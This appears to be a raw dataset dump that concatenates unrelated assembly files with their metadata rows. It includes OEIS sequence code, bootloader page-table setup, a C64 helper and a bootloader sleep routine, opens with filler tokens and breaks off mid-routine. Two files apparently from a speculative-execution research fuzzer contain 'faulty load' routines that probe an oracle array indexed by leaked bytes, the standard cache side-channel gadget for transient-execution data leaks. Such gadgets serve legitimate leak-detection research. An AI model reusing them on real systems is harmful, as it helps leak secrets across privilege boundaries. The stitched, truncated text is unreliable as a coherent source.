34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 36.096618 | 2,999 | 0.656852 |
3c897f704b3ff3adf78eead318c8ca8ff0d970d3 | 3,071 | asm | Assembly | Transynther/x86/_processed/P/_zr_/i7-7700_9_0x48_notsx.log_1_553.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/P/_zr_/i7-7700_9_0x48_notsx.log_1_553.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/P/_zr_/i7-7700_9_0x48_notsx.log_1_553.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %rax
push %rbx
push %rdx
push %rsi
lea addresses_WC_ht+0x1cb76, %rsi
nop
nop
nop
cmp $8707, %r13
mov (%rsi), %rbx
nop
nop
nop
sub %rax, %rax
lea addresses_UC_ht+0xa9f6, %r12
nop
nop
sub %rdx, %rdx
mov $0x6162636465666768, %r11
movq %r11, %xmm2
vmovups %ymm2, (%r12)
nop
mfence
lea addresses_UC_ht+0x19ff6, %rsi
nop
nop
and %rax, %rax
mov $0x6162636465666768, %r13
movq %r13, %xmm0
vmovups %ymm0, (%rsi)
nop
nop
nop
cmp %r13, %r13
lea addresses_WC_ht+0xd156, %r11
sub %rdx, %rdx
mov (%r11), %r13w
nop
nop
nop
cmp $1301, %rax
lea addresses_A_ht+0x79f6, %rax
nop
nop
add $40237, %rbx
mov $0x6162636465666768, %r11
movq %r11, (%rax)
nop
nop
nop
nop
nop
and %rdx, %rdx
lea addresses_UC_ht+0x1cef6, %rsi
nop
nop
nop
sub %rax, %rax
mov (%rsi), %edx
nop
nop
nop
nop
and $50169, %rsi
lea addresses_WC_ht+0x56f6, %rbx
nop
nop
nop
nop
and $50445, %r11
and $0xffffffffffffffc0, %rbx
movntdqa (%rbx), %xmm2
vpextrq $0, %xmm2, %r13
nop
nop
nop
nop
add $59940, %rdx
lea addresses_WT_ht+0x2b6, %r12
nop
sub $29037, %r11
movl $0x61626364, (%r12)
nop
nop
nop
inc %r13
pop %rsi
pop %rdx
pop %rbx
pop %rax
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r15
push %r8
push %rax
push %rdi
// Store
lea addresses_normal+0xb9f6, %r10
nop
nop
inc %r15
movw $0x5152, (%r10)
nop
nop
add %r14, %r14
// Faulty Load
mov $0x9f6, %r10
nop
nop
cmp %rdi, %rdi
movb (%r10), %r15b
lea oracles, %r8
and $0xff, %r15
shlq $12, %r15
mov (%r8,%r15,1), %r15
pop %rdi
pop %rax
pop %r8
pop %r15
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_P', 'congruent': 0}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal', 'congruent': 11}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_P', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 6}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 9}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 5}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 11}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 8}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 5}, 'OP': 'STOR'}
{'00': 1}
00
*/
| 19.314465 | 126 | 0.645718 |
e31d125a34ac86cd02d2ea68623755255f641d7f | 299 | asm | Assembly | programs/oeis/213/A213037.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/213/A213037.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/213/A213037.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A213037: n^2-2*[n/2]^2, where [] = floor.
; 0,1,2,7,8,17,18,31,32,49,50,71,72,97,98,127,128,161,162,199,200,241,242,287,288,337,338,391,392,449,450,511,512,577,578,647,648,721,722,799,800,881,882,967,968,1057,1058,1151,1152,1249,1250,1351
mov $1,$0
lpb $0,1
trn $0,2
add $1,$2
add $2,4
lpe
| 29.9 | 196 | 0.648829 |
58ecb2bfbd43f3beca0d0401154e28ea77a663c8 | 4,896 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0_notsx.log_21829_856.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0_notsx.log_21829_856.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0_notsx.log_21829_856.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r9
push %rbp
lea addresses_UC_ht+0x8b57, %r9
nop
nop
nop
nop
nop
cmp $29914, %r10
movups (%r9), %xmm6
vpextrq $0, %xmm6, %r14
nop
nop
nop
nop
cmp %rbp, %rbp
pop %rbp
pop %r9
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r9
push %rbp
push %rbx
push %rdi
push %rdx
// Store
lea addresses_UC+0x1fa47, %rbx
xor %r9, %r9
mov $0x5152535455565758, %r11
movq %r11, (%rbx)
nop
nop
add %rdx, %rdx
// Store
lea addresses_UC+0x1357, %rbp
clflush (%rbp)
xor $4592, %rdi
mov $0x5152535455565758, %r11
movq %r11, %xmm1
vmovups %ymm1, (%rbp)
nop
nop
dec %rbp
// Store
lea addresses_normal+0xb937, %rbp
nop
nop
sub %r11, %r11
mov $0x5152535455565758, %rdi
movq %rdi, %xmm6
movups %xmm6, (%rbp)
nop
nop
sub $13771, %r10
// Faulty Load
lea addresses_UC+0x1357, %rdx
nop
nop
add %rdi, %rdi
movups (%rdx), %xmm5
vpextrq $1, %xmm5, %r10
lea oracles, %r11
and $0xff, %r10
shlq $12, %r10
mov (%r11,%r10,1), %r10
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r9
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 47.533981 | 2,999 | 0.658905 |
0001a9ed0cc4959d4e7cd78e0023fdcb05d12656 | 444 | asm | Assembly | oeis/026/A026061.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/026/A026061.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/026/A026061.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A026061: a(n) = (d(n)-r(n))/2, where d = A026060 and r is the periodic sequence with fundamental period (1,0,0,0).
; 22,40,63,92,127,170,220,278,344,420,505,600,705,822,950,1090,1242,1408,1587,1780,1987,2210,2448,2702,2972,3260,3565,3888,4229,4590,4970,5370,5790,6232,6695,7180,7687,8218,8772,9350,9952,10580,11233,11912,12617,13350,14110,14898
sub $0,1
mov $2,$0
mul $2,$0
add $0,10
bin $0,3
sub $2,1
add $2,$0
mov $0,$2
sub $0,39
div $0,2
| 31.714286 | 229 | 0.695946 |
9693a751d7a8d0817fcab6e56b1680cfb26640c4 | 5,107 | asm | Assembly | boot/page_tables.asm | spevans/hello-swift | 51af71dcd1d3719af33b4e20e333e80e812ed059 | [
"Unlicense"
] | null | null | null | boot/page_tables.asm | spevans/hello-swift | 51af71dcd1d3719af33b4e20e333e80e812ed059 | [
"Unlicense"
] | null | null | null | boot/page_tables.asm | spevans/hello-swift | 51af71dcd1d3719af33b4e20e333e80e812ed059 | [
"Unlicense"
] | null | null | null | ;;; boot/page_tables.asm
;;;
;;; Copyright © 2015 - 2017 Simon Evans. All rights reserved.
;;;
;;; Setup pagetables in a 28KB region @ 0000:3000
;;; PML4 @ 0000:3000 - Maps 0, 128TB, 256TB-512GB
;;; PDP @ 0000:4000 - Maps 1GB @ 0
;;; PDP @ 0000:7000 - Maps 1GB @ 256TB-512GB
;;; PDP @ 0000:9000 - Maps 1GB @ 128TB
;;; PD @ 0000:5000 - Maps 2MB @ 0
;;; PD @ 0000:8000 - Maps 16MB using 2MB pages @ 128TB and 256TB-512GB
;;; (extended to cover all memory when tables are setup in swift)
;;; PT @ 0000:6000 - 2MB-12K @ 0x3000 -> 0x3000
;;; Zero page is left unmapped to capture NULL pointer dereference.
PAGE_PRESENT EQU 1
PAGE_WRITEABLE EQU 2
PAGE_LARGEPAGE EQU 128
setup_pagetables:
push es
push di
xor eax, eax
mov es, ax
mov edi, 0x3000
mov cr3, edi
mov cx, 0x2C00 ; clear 44KB (11 pages)
cld
rep stosd
mov edi, cr3
;; Page Map Level 4 (PML4) @ 0x3000
mov eax, 0x4000 | PAGE_PRESENT | PAGE_WRITEABLE
mov [es:di], eax ; 0KB
mov eax, 0x9000 | PAGE_PRESENT | PAGE_WRITEABLE
mov [es:di + 0x0800], eax ; 128TB - for Physical Ram map
mov eax, 0x7000 | PAGE_PRESENT | PAGE_WRITEABLE
mov [es:di + 0x0FF8], eax ; 256T - 512GB for kernel
;; Page Directory Pointer (PDP) @ 0x4000
;; Each entry maps 1GB so add 2 entries mapping the
;; first 16MB from 0GB and the first 16MB from 128GB
mov eax, 0x5000 | PAGE_PRESENT | PAGE_WRITEABLE
mov [es:di + 0x1000], eax
;; Page Directory (PD), @ 0x5000
mov eax, 0x6000 | PAGE_PRESENT | PAGE_WRITEABLE
mov [es:di + 0x2000], eax
;; Page Table Entries (PTEs) @ 0x6000 512 entries maps 2MB
;; using 4KB pages. first page @ 0 is unmapped, 2nd page
;; maps 0x1000 to 0x100000, rest is identity mapped.
mov di, 0x6018
mov cx, 509
mov eax, 0x3000 | PAGE_PRESENT | PAGE_WRITEABLE
pte_loop:
mov [es:di], eax
add eax, 0x1000 ; 4KB
add di, 8
dec cx
jnz pte_loop
;; 2nd Page Directory (PDP) @ 0x7000, 1 entry 1GB @ 256T - 2GB
mov di, 0x7000
mov eax, 0x8000 | PAGE_PRESENT | PAGE_WRITEABLE
mov [es:di + 0x0FF0], eax
;; 3rd PDP @ 0x9000 - 1 entry for 128TB - for Physical RAM map
mov di, 0x9000
mov eax, 0x8000 | PAGE_PRESENT | PAGE_WRITEABLE
mov [es:di], eax
;; PD @ 0x8000 32 entries of 2MB 64MB @ 0 phys
;; This maps the first 64MB of physical memory at 2 locations:
;; @ 128TB (bottom of the kernel space) for kernel access to all ram
;; @ 256T-512GB to map the kernel to its running address
mov cx, 32
mov di, 0x8000
mov eax, 0x0000 | PAGE_PRESENT | PAGE_WRITEABLE | PAGE_LARGEPAGE
pde_loop:
mov [es:di], eax
add eax, 0x200000
add di, 8
dec cx
jnz pde_loop
pop di
pop es
ret
; Dump CL bytes from ES:DI
HexDump:
push di
cmp cl, 0
je HexDumpEnd
next_line:
mov al, 0x0A ; reset to a newline
call print_char
mov al, 0x0D
call print_char
mov ch, 0 ; number of bytes output perline
mov bx, es
call printWord ; print seg:offset
mov al, 58 ; ':'
call print_char
mov bx, di
call printWord
mov al, 32
call print_char
next_byte:
mov bl, [es:di]
call printByte
dec cl
cmp cl, 0
je HexDumpEnd
inc di
inc ch
cmp ch, 16
je next_line
mov al, 32 ; space
call print_char
jmp next_byte
HexDumpEnd:
mov al, 0x0A ; reset to a newline
call print_char
mov al, 0x0D
call print_char
pop di
ret
;; print the hex digit in low 4 bits of AL to the screen
PrintNibble:
and al, 0xf
add al, 48
cmp al, 58 ; is AL A-F?
jl less_than_a
add al, 7
less_than_a:
call print_char
ret
;; print the byte in BL to the screen
printByte:
mov al, bl
shr al, 4
call PrintNibble
mov al, bl
call PrintNibble
ret
;; print the word in BX to the screen
printWord:
mov al, bh
shr al, 4
call PrintNibble
mov al, bh
call PrintNibble
call printByte
ret
;; print char in AL
print_char:
push bx
mov bx, 0
mov ah, 0xe
int 0x10
pop bx
ret
| 28.372222 | 76 | 0.508322 |
63de841b23504b4e018be1becb3799ece98807b1 | 35 | asm | Assembly | gfx/pokemon/slowking/anim_idle.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 28 | 2019-11-08T07:19:00.000Z | 2021-12-20T10:17:54.000Z | gfx/pokemon/slowking/anim_idle.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 13 | 2020-01-11T17:00:40.000Z | 2021-09-14T01:27:38.000Z | gfx/pokemon/slowking/anim_idle.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 22 | 2020-05-28T17:31:38.000Z | 2022-03-07T20:49:35.000Z | frame 1, 07
frame 2, 50
endanim
| 8.75 | 12 | 0.657143 |
347ed345780a6cc6de4e6af7f013a89a9884553b | 389 | asm | Assembly | programs/oeis/256/A256244.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/256/A256244.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/256/A256244.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A256244: a(n) = sqrt(n + 2*A256243(n)).
; 3,2,3,4,3,4,3,4,5,4,5,4,5,4,5,6,5,6,5,6,5,6,5,6,7,6,7,6,7,6,7,6,7,6,7,8,7,8,7,8,7,8,7,8,7,8,7,8,9,8,9,8,9,8,9,8,9,8,9,8,9,8,9,10,9,10,9,10,9,10,9,10,9,10,9,10,9,10,9,10,11,10,11,10,11,10,11,10,11,10,11,10,11,10,11,10,11,10,11,12
add $0,1
mov $2,1
lpb $0,7
mov $1,$0
add $2,2
trn $0,$2
mod $1,2
lpe
mov $1,$2
div $1,2
add $1,1
mov $0,$1
| 24.3125 | 230 | 0.539846 |
e0adaedca9c67ccf6b01d7b7d63a2ddae05cd8fe | 652 | asm | Assembly | data/mapObjects/lab1.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | data/mapObjects/lab1.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | data/mapObjects/lab1.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | Lab1Object:
db $17 ; border block
db $5 ; warps
db $7, $2, $2, $ff
db $7, $3, $2, $ff
db $4, $8, $0, CINNABAR_LAB_2
db $4, $c, $0, CINNABAR_LAB_3
db $4, $10, $0, CINNABAR_LAB_4
db $4 ; signs
db $2, $3, $2 ; Lab1Text2
db $4, $9, $3 ; Lab1Text3
db $4, $d, $4 ; Lab1Text4
db $4, $11, $5 ; Lab1Text5
db $1 ; objects
object SPRITE_FISHER, $1, $3, STAY, NONE, $1 ; person
; warp-to
EVENT_DISP CINNABAR_LAB_1_WIDTH, $7, $2
EVENT_DISP CINNABAR_LAB_1_WIDTH, $7, $3
EVENT_DISP CINNABAR_LAB_1_WIDTH, $4, $8 ; CINNABAR_LAB_2
EVENT_DISP CINNABAR_LAB_1_WIDTH, $4, $c ; CINNABAR_LAB_3
EVENT_DISP CINNABAR_LAB_1_WIDTH, $4, $10 ; CINNABAR_LAB_4
| 25.076923 | 58 | 0.65184 |
24ef83f9f7144cea608ffe0bcceb3f42a4d44489 | 48 | asm | Assembly | src/main/fragment/mos6502-common/qvoc1_derefidx_vbuxx=qvoc2_derefidx_vbuxx.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/qvoc1_derefidx_vbuxx=qvoc2_derefidx_vbuxx.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/qvoc1_derefidx_vbuxx=qvoc2_derefidx_vbuxx.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | lda {c2},x
sta {c1},x
lda {c2}+1,x
sta {c1}+1,x
| 9.6 | 12 | 0.541667 |
775d8e3b2823c9ce62fcaa36caf12e92ee14e032 | 681 | asm | Assembly | lib/rleHelper.asm | ggramlich/kickass-run-length-encoding | 7bf8f817d22a34a0f24015efd27de5f618a95e0c | [
"MIT"
] | null | null | null | lib/rleHelper.asm | ggramlich/kickass-run-length-encoding | 7bf8f817d22a34a0f24015efd27de5f618a95e0c | [
"MIT"
] | null | null | null | lib/rleHelper.asm | ggramlich/kickass-run-length-encoding | 7bf8f817d22a34a0f24015efd27de5f618a95e0c | [
"MIT"
] | null | null | null | #importonce
.filenamespace rle
.label SCROLY = $D011
.label SCROLX = $D016
.label VMCSB = $D018
.label EXTCOL = $D020
.label BGCOL0 = $D021
.label BGCOL1 = $D022
.label BGCOL2 = $D023
.label SCREENRAM = $0400
.label COLORRAM = $D800
.label ZeroPage5 = $06
.macro LIBSCREEN_SETDISPLAYENABLE_V(bEnable)
{
lda SCROLY
.if (bEnable) // Build-time condition (not run-time)
{
ora #%00010000 // Set bit 4
}
else
{
and #%11101111 // Clear bit 4
}
sta SCROLY
}
.macro SETWORD_VA(wValue, wAdress) {
lda #<wValue
sta wAdress
lda #>wValue
sta wAdress+1
}
| 18.405405 | 66 | 0.565345 |
0cc2ab5b10b9a4d09f421b7d6119986c1b2e04ed | 2,049 | asm | Assembly | stage23/lib/sleep.asm | xlatbptr/limine | 61f518b84f282c9d98752eccc7792f4a09e7f251 | [
"BSD-2-Clause"
] | 1 | 2021-04-23T18:49:12.000Z | 2021-04-23T18:49:12.000Z | stage23/lib/sleep.asm | flat-os/limine | 20eb1247bcfb63d228ce79bfa24d125668542db3 | [
"BSD-2-Clause"
] | null | null | null | stage23/lib/sleep.asm | flat-os/limine | 20eb1247bcfb63d228ce79bfa24d125668542db3 | [
"BSD-2-Clause"
] | null | null | null | section .realmode
int_08_ticks_counter: dd 0
int_08_callback: dd 0
int_08_isr:
bits 16
pushf
inc dword [cs:int_08_ticks_counter]
popf
jmp far [cs:int_08_callback]
bits 32
extern getchar_internal
global _pit_sleep_and_quit_on_keypress
_pit_sleep_and_quit_on_keypress:
; Hook int 0x08
mov edx, dword [0x08*4]
mov dword [int_08_callback], edx
mov edx, int_08_isr
mov dword [0x08*4], int_08_isr
; pit_ticks in edx
mov edx, dword [esp+4]
mov dword [int_08_ticks_counter], 0
; Save GDT in case BIOS overwrites it
sgdt [.gdt]
; Save IDT
sidt [.idt]
; Load BIOS IVT
lidt [.rm_idt]
; Save non-scratch GPRs
push ebx
push esi
push edi
push ebp
; Jump to real mode
jmp 0x08:.bits16
.bits16:
bits 16
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
mov eax, cr0
and al, 0xfe
mov cr0, eax
jmp 0x00:.cszero
.cszero:
xor ax, ax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
sti
.loop:
cmp dword [int_08_ticks_counter], edx
je .timeout
push ecx
push edx
mov ah, 0x01
xor al, al
int 0x16
pop edx
pop ecx
jz .loop
; on keypress
xor ax, ax
int 0x16
jmp .done
.timeout:
xor eax, eax
.done:
cli
; Restore GDT
o32 lgdt [ss:.gdt]
; Restore IDT
o32 lidt [ss:.idt]
; Jump back to pmode
mov ebx, cr0
or bl, 1
mov cr0, ebx
